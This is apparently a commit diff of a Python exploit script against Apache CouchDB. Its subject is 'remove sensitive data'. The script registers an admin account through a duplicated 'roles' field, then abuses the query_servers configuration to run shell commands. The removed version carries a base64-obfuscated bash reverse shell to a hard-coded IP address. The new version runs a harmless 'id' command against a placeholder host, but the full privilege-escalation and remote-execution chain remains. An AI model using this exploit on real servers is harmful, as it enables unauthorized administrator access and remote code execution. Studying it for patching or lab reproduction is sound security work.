old_contents: #!/usr/bin/env python3
  import requests
  from requests.auth import HTTPBasicAuth
  
  target = 'http://50.3.18.61:5984'
  command = '"/bin/bash -c \'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81MC4zLjE4LjYxLzIxIDA+JjE=}|{base64,-d}|{bash,-i}\'"'
  version = 2
  
  session = requests.session()
  session.headers = {
      'Content-Type': 'application/json'
  }
  # session.proxies = {
  #     'http': 'http://127.0.0.1:8085'
  # }
  session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
    "type": "user",
    "name": "wooyun",
    "roles": ["_admin"],
    "roles": [],
    "password": "wooyun"
  }''')
  
  session.auth = HTTPBasicAuth('wooyun', 'wooyun')
  
  host = session.get(target + '/_membership').json()['all_nodes'][0]
  
  session.put(target + ('/_config/query_servers/cmd' if version == 1 else '/_node/{}/_config/query_servers/cmd'.format(host)), data=command)
  session.put(target + '/wooyun')
  session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
  
  if version == 1:
      session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
  else:
      session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
new_contents: #!/usr/bin/env python3
  import requests
  from requests.auth import HTTPBasicAuth
  
  target = 'http://target:5984'
  command = '"id > /tmp/success"'
  version = 1
  
  session = requests.session()
  session.headers = {
      'Content-Type': 'application/json'
  }
  # session.proxies = {
  #     'http': 'http://127.0.0.1:8085'
  # }
  session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
    "type": "user",
    "name": "wooyun",
    "roles": ["_admin"],
    "roles": [],
    "password": "wooyun"
  }''')
  
  session.auth = HTTPBasicAuth('wooyun', 'wooyun')
  
  if version == 1:
      session.put(target + ('/_config/query_servers/cmd'), data=command)
  else:
      host = session.get(target + '/_membership').json()['all_nodes'][0]
      session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)
  
  session.put(target + '/wooyun')
  session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
  
  if version == 1:
      session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
  else:
      session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
subject: remove sensitive data